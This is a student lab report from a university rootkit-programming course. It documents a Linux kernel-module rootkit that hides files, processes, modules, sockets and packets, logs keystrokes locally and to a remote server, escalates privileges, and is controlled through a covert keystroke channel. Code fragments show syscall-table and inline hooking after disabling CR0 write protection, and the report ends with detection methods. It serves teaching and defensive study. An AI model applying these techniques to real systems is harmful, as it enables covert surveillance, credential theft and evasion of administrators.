naROOTo - Rootkit Gruppe 4

TUM
Chair of IT Security
Rootkit Programming WS2014/15

Martin Herrman   Gurusiddesha Chandrasekhara

January 12, 2015

Contents

1 Introduction

This rootkit has been implemented as part of the "Rootkit programming" lab course of the TUM in W2014/14. It is a single Linux Kernel Module (LKM) that can be inserted into the Linux kernel 3.16. It implements functionality such as keylogging (both locally to a file as well as remotely using the syslog protocol), file hiding, process hiding, socket hiding, packet hiding, module hiding, port knocking, and privilege escalation. Each functionality can be controlled by a covert communication channel which is further explained in chapter 3. Chapter 2 gives an overview of the system requirements and describes how to properly build, insert, and unload naROOTo. Chapter **??** discusses the implementations of the different functionalities while chapter **??** points to a few vulnerabilities of the rootkit.

2 Compiling and Installing

Building and using naROOTo is fairly easy even though there are a peculiarities that need to be heeded.

2.1 System configuration

This rootkit has been implemented and tested on a very specific system. Even though may work on other systems – especially on similar ones – we recommend using the following configuration:

- VirtualBox VM (5GB HDD, 600MB memory) emulating a single x86-amd64 CPU
- Debian Wheezy 7.6 x86-64
- Linux Kernel 3.16.4 x86-64 (Vanilla) built using the configuration of the Debian kernel as a base

2.2 Building

Building requires the kernel sources and a valid System.map file. To build the LKM simply enter the source folder and issue the command `make`. This will compile the rootkit with all its functionality. To enable debugging to kernel messages edit the `Makefile` to include to compiler flag `-DDEBUG`. If the build was successful the file `naROOTo`.ko as well as other object files will be created in the source folder.

2.3 Loading

The rootkit can be inserted by issuing the command `insmod narooto.ko` as `root`. Afterwards it can be controlled by the covert communication channel described in the following chapter 3.

3 Command and control

3.1 Controlling `naROOTo`

After `naROOTo` is loaded, it can be controlled by a covert communication channel. Commands are issued using the stdin of a shell. One just has to type them, no special permissions are required. Once a command is entered completely it will be executed immediately. Pressing `enter` is neither required nor suggested as the history of entered shell commands is logged on most systems.

Each command starts with the same prefix: `f7R␣`. This is supposed to ensure that a regular user will not (de-)activate any rootkit functionality by accident and therefore reveal its use. After the prefix, the actual command is entered. Commands may or may not contain a single parameter. Multiple parameters are not supported at this time. They can be supplied by separating them from the command by a single space character. To finish the command and execute it (if it is valid), a semicolon is used.

The basic syntax of any command therefore looks like this: `f7R␣command␣<optional␣parameter>;`

The following table 1 lists all commands with a short description of their functionality.

File hiding	
`f7R_hide_file␣<path>;`	Hides a single file or folder. `<path>` is the absolute path of the file to hide.
`f7R_unhide_file␣<path>;`	Unhides a previously hidden file or folder.
`f7R_hide_fprefix␣<prefix>;`	Hides all files and folders beginning with the prefix `<prefix>`. All files and subfolders of a hidden folder are also hidden.
`f7R_unhide_fprefix␣<prefix>;`	Removes the prefix `<prefix>` from the list of prefixes to hide.
Process hiding	
`f7R_hide_process␣<pid>;`	Hides a specific process. `<pid>` is the id of the process to be hidden.
`f7R_unhide_process␣<pid>;`	Unhides a previously hidden process.
Module hiding	
`f7R_hide_module␣<name>;`	Hides any currently loaded LKM. `<name>` is the name of the module to be hidden.
`f7R_unhide_module␣<name>;`	Unhides a previously hidden LKM.
Hiding sockets	
`f7R_hide_tcp␣<port>;`	Hides a TCP socket from both the `ss` and the `netstat` command. `<port>` is the port number of the TCP socket to be hidden.
`f7R_unhide_tcp␣<port>;`	Unhides a previously hidden TCP socket.
`f7R_hide_udp␣<port>;`	Hides a UDP socket from both the `ss` and the `netstat` command. `<port>` is the port number of the UDP socket to be hidden.
`f7R_unhide_udp␣<port>;`	Unhides a previously hidden UDP socket.
Hiding packets	
`f7R_hide_ip␣<ip>;`	Hides both TCP and UDP packets from packet sniffers such as `tcpdump`. `<ip>` is the ip address of the host whose packets are supposed to be hidden.
`f7R_unhide_ip␣<port>;`	Unhides previously hidden packets.
`f7R_hide_service␣<port>;`	Hides all incoming TCP packets to a specified service. `<port>` is the port number of the service to be hidden.
`f7R_unhide_service␣<port>;`	Unhides a previously hidden service.
Port knocking	
`f7R_enable_knocking_tcp␣<port>;`	Enables port knocking for a specified TCP service. `<port>` is the port number of the service to be hidden.
`f7R_disable_knocking_tcp␣<port>;`	Disable port knocking for a specified TCP service.
`f7R_enable_knocking_udp␣<port>;`	Enables port knocking for a specified UDP service. `<port>` is the port number of the service to be hidden.
`f7R_disable_knocking_udp␣<port>;`	Disable port knocking for a specified UDP service.
Network keylogging	
`f7R_enable_net_keylog␣<ip>;`	Enables network keylogging. `<ip>` specifies the IP address of the syslog-ng server.
`f7R_disable_net_keylog;`	Disables network keylogging.
`f7R_enable_filelog;`	Enables local keylogging.
`f7R_disable_filelog;`	Disables local keylogging.
Privilege escalation	
`f7R_escalate;`	Provides superuser access to a terminal.
`f7R_deescalate;`	Restores the previous permissions of a terminal.

Table 1: Commands to control `naROOTo`

4 Implementation

This chapter discusses the implementation details of `naROOTo`.

4.1 High-level design

`naROOTo` was programmed using a modular approach. Each submodule represented by a header and a source file serves a very specific purpose. This makes it very easy to implement new functionality should the new arise in the future.

`main.c` is the entry point for the LKM. In its `init_module` function it enables the different functionalities by calling the appropriate functions. On unloading, `cleanup_module` disables all of `naROOTo`'s features. The following table ?? describes the purpose of each component.

File name	Functionality
gensysmap.sh	Shell script that generates sysmap.h file.
main.{c,h}	Module (un-)loading and basic configuration.
control.{c,h}	Control API for the different functionalities.
include.{c,h}	Helper functions.
covert_communication.{c,h}	Implementation of the covert communication channel.
getdents.{c,h}	Hooking of the `getdents` syscall and related functionality.
read.{c,h}	Hooking of the `read` syscall and related functionality.
hide_module.{c,h}	Functionality needed for hiding kernel modules.
hide_socket.{c,h}	Functionality needed for hiding TCP and UDP sockets.
hide_packet.{c,h}	Functionality needed for hiding packets.
port_knocking.{c,h}	A port knocking implementation.
net_keylog.{c,h}	Functionality needed for network keylogging.

4.2 Obtaining address of kernel symbols

The kernel symbols are important in writing various modules. Many of them are not easily available through libraries or are not exported in recent kernel versions (e.g. the `sys_call_table`). The `System.map.<kernel version>` file in the `/boot` directory lists the addresses of all kernel symbols in the form:

```
address type symbol_name
```

We wrote a simple shell script to convert this file into a format which can be used by a LKM. This script generates the `sysmap.h` file by parsing it using regular expressions. The lines of the generated file then look like this:

```
#define sysmap_symbol_name address
```

When a particular kernel symbol is required, its address can just be type-casted to the correct type or function signature.

A good example for this is the system call table which are further described in chapter 4.3. We can access the system call table from in our module like this:

```
void **sys_call_table = (void *) sysmap_sys_call_table;
```

4.3 System call hooking

The system call table is an array of pointers to all available system calls of the Linux kernel and can be thought of as an API for accessing functionality that resides in kernel space. A basic technique of writing rootkits is manipulating specific system calls.

There are several ways to do this, the easiest probably is manipulating the system call table itself to make specific system calls point to different functions of the same signature. When a user space process now calls that specific system call, it is actually directed to the (possibly malicious) function that was inserted. The original system call can be called by saving its pointer. This way a LKM can completely control what the user does (or doesn't) see.

Another more sophisticated way of hooking system calls is manipulating the function directly. One can insert assembly instructions that cause a jump to a different location that contains a manipulated version of the system call. If one wants to call the original system call, however, the overwritten code needs to be restored first.

Both ways are used in naROOTo and both require one additional feature to work: disabling the memory write protection. Because such code is usually in regions that cannot be overwritten for security reasons, we have to disable it first. We do this by flipping a bit in the control register cr0 of the CPU. This tells it to ignore any write protections and go ahead with the instructions. Because this is written directly in assembly, those two functions are extremely portable and cannot be deprecated easily. This operation is possible because we are operating in kernel mode (CPU ring 0) and not user mode. The write protection of the CPU can be disabled and afterwards reenabled by using the following functions:

```
static void disable_page_protection(void) {

    unsigned long value;
    asm volatile("mov %%cr0,%0" : "=r" (value));
    if (value & 0x00010000) {
            value &= ~0x00010000;
            asm volatile("mov %0,%%cr0": : "r" (value));
    }
}

static void enable_page_protection(void) {

    unsigned long value;
    asm volatile("mov %%cr0,%0" : "=r" (value));
    if (!(value & 0x00010000)) {
            value |= 0x00010000;
            asm volatile("mov %0,%%cr0": : "r" (value));
    }
}
```

4.4 File hiding

To hide files, naROOTo uses a manipulated getdents system call.

```
int getdents(unsigned int fd, struct linux\_dirent *dirp,
                    unsigned int count);
```

The manipulated function calls the original to get its output which is then scanned for files or folders that need to be hidden. Each file is represented by a struct linux_dirent which contains additional information like its name. If it is decided that a file is supposed to be hidden, the memory of the following linux_dirents is moved forward (overwriting that entry) and the return value is adapted accordingly. This way the entry is no longer visible to the user space process that called getdents.

To also hide symbolic links pointing to hidden files, the system call readlink is used. If the link points to a hidden file, the link is also hidden. This also works for nested links as the call is looped until either a true file is found or it is determined that the symbolic link is to be hidden. Because system calls are not intended to be called from kernel space, we had to disable the kernel checking for this. This was done by the following lines that tell the kernel to also execute system calls if the memory that was allocated for them belongs to the kernel:

```
/* tell the kernel to ignore kernel-space memory in syscalls */
old_fs = get_fs();
```

```
set_fs(KERNEL_DS);

[...]

/* reset the kernel */
set_fs(old_fs);
```

4.5 Process Hiding

To hide processes, naROOTo uses the already implemented file hiding. This is possible because tools like ps look at the /proc-filesystem which contains a subfolder for each process. All that is left to implement is to check if the current folder matches /proc (which can be done by looking at the file descriptor fd) and if the file name matches a PID of a hidden process. If both is the case, the file is hidden and tools like ps will no longer display it.

4.6 Module hiding

A user can display all currently loaded modules by issuing the command lsmod (which lists the entries from /proc/modules) and /sys/modules

In the kernel, all modules are arranged as a linked list, where each item is of type struct module. Furthermore they are stored in a struct kernfs_node which is an implementation of a red-blacktree. To hide a module from lsmod we need to delete its entry from the list of modules from both sources. This can be easily achieved by using the list operations defined in list.h and the red-black tree operations defined in rbtree.h. Once removed from the list of modules and the kernfs tree, it will not be shown to user space anymore. This also means that one cannot remove it using rmmod while its hidden.

To unhide a module, we just have to reinsert it in the data structures.

4.7 Keylogging

Implementing local keylogging is very straight forward. We just need to hook the read system call and write all characters entered into stdin to a file.

For remote keylogging we just send UDP packets containing the keystrokes using the netpoll kernel API to a remote location. The only constraint is that netpoll can only send packets via an ethernet interface, not a wireless one.

First, we need to initialize the netpoll structure with remote and local IP addresses, ports and some further configuration. The netpoll structure looks like this:

```
  struct netpoll {
          struct net_device *dev;
          char dev_name[IFNAMSIZ]; /* the network device used */
          const char *name;
          union inet_addr local_ip, remote_ip; /* local and remote ip address
in network byte order */
          bool ipv6;
          u16 local_port, remote_port;  /* local and remote port */
          u8 remote_mac[ETH_ALEN]; /* set to broadcast */

          struct work_struct cleanup_work;
  };
```

Any valid IPv4 address can be chosen for the local address. Once the structure is initialized, we call

```
int netpoll_setup(struct netpoll *);
```

This function sets up everything needed for sending UDP packets. Now the following function can be used to send the keystrokes combined with the process ID to the remove server.

```
netpoll_send_UDP(np, sned_buf, send_len);
```

4.8 Command and control

The command and control interface also uses the hooked read system call. For each keystroke the function accept_input(char * input) is called. To parse the commands, a state machine is being used. First, it is checked for the char sequence f7R_. If this is detected, the state is changed to command enter mode. As soon as a space character is entered, the state switches to parameter enter mode. When a semicolon character is entered, the module tries to execute the command.

To keep track of the different hidden ports, files, processes, etc. a number of linked list is maintained. When a new object is supposed to be hidden, it is simply added to the list. When it is supposed to be unhidden, it is removed. Before the LKM is unloaded, all lists are cleared and their memory is freed to prevent memory leaks.

4.9 Privilege Escalation

To grant superuser privileges to any shell, naROOTo manipulates the credentials of the particular process. This is done by setting all ids to 0 in the corresponding struct cred. The original values are stored to be able to return to regular privileges if necessary.

The functions used for getting the credentials and writing them are:

```
struct cred * prepare_creds();
commit_creds(struct cred *);
```

4.10 Socket Hiding

The task was to hide any existing TCP/UDP sockets from the user. User can determine the socket details using ss and netstat commands. The idea was to determine how netstat and ss works, then manipulate their behavior in such a way that they don't show the sockets whih we want to hide. With a little bit of research(strace on netstat), we found that netstat just prints out the contents of /proc/tcp and /proc/udp.

Our initial assumption of just manipulating these files was not so straight forward. Since, these files are sequence files: These files sequentially fills up on request by corresponding sequence functions. We had to get access to these sequence functions, tcp_seq_show and udp_seq_show. From the proc_dir_entry init_net.proc_net->subdir, we can search for the directory names tcp and udp. Once we get the match we store the pointer of original function, and replace by our hooked function.

To filter out the sockets by port number we need to access port number inside our hooked function. inet_sock struct has the port number. In our hooked function, we have void pointer which is of type struct sock. We can get the inet_sock stucture from sock using inet_sk function. If we find the port of our interest, we just return 0; so that this line doesn't show up in the sequence file, otherwise it behaves as original show function.

Hiding TCP sockets from ss: By manipulating sequence functions we took care of netstat command and UDP packets from ss command. But still TCP sockets shows up through the ss command. To read from the sockets, ss uses recvmsg system call. If we hook the recvmsg system call and intercept the data, we will be able to hide TCP sockets from ss. For this reason we hooked recvmsg system call, since hooking system calls is one of the easiest ways to alter the data. We obtain the nlmsghdr from the hooked call and we get the length of the original call. Until we find our port number, we search for port number in the next messages in multipart message. Once we find the port number that we want to hide, we copy the remaining entries and decrease the length of the original function and call it.

4.11 Packet Hiding

Our goal was to hide network packets from any process which uses libcap to sniff packets. It uses packet sockets and then polls them every second to retrieve the information.

```
socket(PF_PACKET, SOCK_RAW, 768) = 3
poll([{fd=3, events=POLLIN}], 1, 1000) = 0 (Timeout)
```

Some further investigations of libcap lead us to understand that three functions are involved in getting the packet information: packet_rcv, tpacket_rcv, packet_rcv_spkt. These functions provide the packet information to user space.

To hook the these functions we had to use different method as they are not in the system call table. We copy assembly code at the top of the function body which leads to a jump to our manipulated function. Whenever we need to call the original function we, of course, have to restore this section with the original code. We used push-ret method to perform jump: first we PUSH the address of our function on the stack, then we jump to it using a RET instruction. This is accomplished by writing the following char array to the beginning of the original function. The address part is, of course, replaced with the actual address.

```
char hook[6] = { 0x68, 0x00, 0x00, 0x00, 0x00, 0xc3 };
unsigned int *target = (unsigned int *) (hook + 1);
```

In the hooked functions, we check if we need to hide this packet. For this we extract the ip header from sk_buff and check if we want to hide this ip address and return the values accordingly. If we do not want to hide the packet in the hooked function, we just restore the original, call it, and finally hook it again.

4.12 Port Knocking

To implement port knocking, we used the Netfilter API of the kernel. This is also used by programs like iptables and is well documented. This API works by providing hook points for custom functions that do the filtering. To set this up, we had to specify a few things:

```
/* setup everything for the netfilter hook */
hook.hook = knocking_hook;              /* our function */
hook.hooknum = NF_INET_LOCAL_IN;        /* grab everything that comes in */
hook.pf = PF_INET;                      /* we only care about ipv4 */
hook.priority = NF_IP_PRI_FIRST;        /* respect my prioritah */

/* actually do the hook */
ret = nf_register_hook(&hook);
```

knocking_hook is the name of our function that does the filtering. It is getting called whenever a packet is detected. NF_INET_LOCAL_IN filters just packets that are destined for this machine (not packets that are forwarded). PF_INET filters just IPv4 traffic. NF_IP_PRI_FIRST means that the filter will be applied first (before all other filters).

What we actually did is to require that a specific port sequence has to be triggered before a remote machine can connect to certain services. To implement this, we used the socket buffer of each packet to check it for its port. If it matches the list of ports that need to be triggered, a state machine will be updated. After all ports have been triggered within a specific time (set to two seconds), the remote machine can connect. The port triggering is further configured to only allow one remote machine access at a time. If a new machine successfully triggers the port, the old machine will lose access.

If someone tries to connect to the filtered port without correctly triggering first, it will receive either an TCP RST or a ICMP Port Unreachable packet. The functionality for this is provided by another part of the Netfilter API: net/netfilter/ipv4/nf_reject.h.

5 Vulnerabilities

Even though naROOTo utilizes multiple techniques to hide itself, there are still a few weaknesses that allow its detection.

5.1 Detection via hooked system calls

Because naROOTo manipulates some pointers in the system call table, it is easy to detect this way. One could scan the system call table and compare it to a clean one if available (or the addresses of the specific functions in the System.map file). A mismatching pointer indicates a hooked system call and threrefore an infection with a rootkit.

5.2 Detection via hidden processes

Because `naROOTo` just hides the processes from the file system, there are a number of ways to detect this. It is still possible to send signals to hidden process, so a `kill -0 <PID>` will return no error message on a hidden process while it would return one on a not existing one. One could furthermore scan the kernel structure containing all processes (`struct task_struct`) for processes and compare it to the displayed ones.

`Detection via hidden files` Because our rootkit is running in a VM one can mount the disk image of a not running VM and compare its file system to the one displayed by the kernel. Any mismatches indicate hidden files.

6 Conclusion

As seen in this paper, `naROOTo` is a decent LKM rootkit for educational purposes. It demonstrates the basic techniques of hiding different things from user space but can still be quite easily detected by a skilled administrator. There are, however, further improvements that can be done to increase the stealthyness. One could use a different method of hiding processes (like manipulating the kernel datastructures directly) to make it harder to detect those. A different system call hooking method (like the use of a trampoline) can also improve the rootkit, as one would have to scan the system call code itself instead of just the pointers of the system call table in order to detect it.

There will always be, however, a few ways to detect LKM rootkits. As soon as the system is not running, the rootkit can no longer conceil itself and can easily be detected by closely examining the harddrive.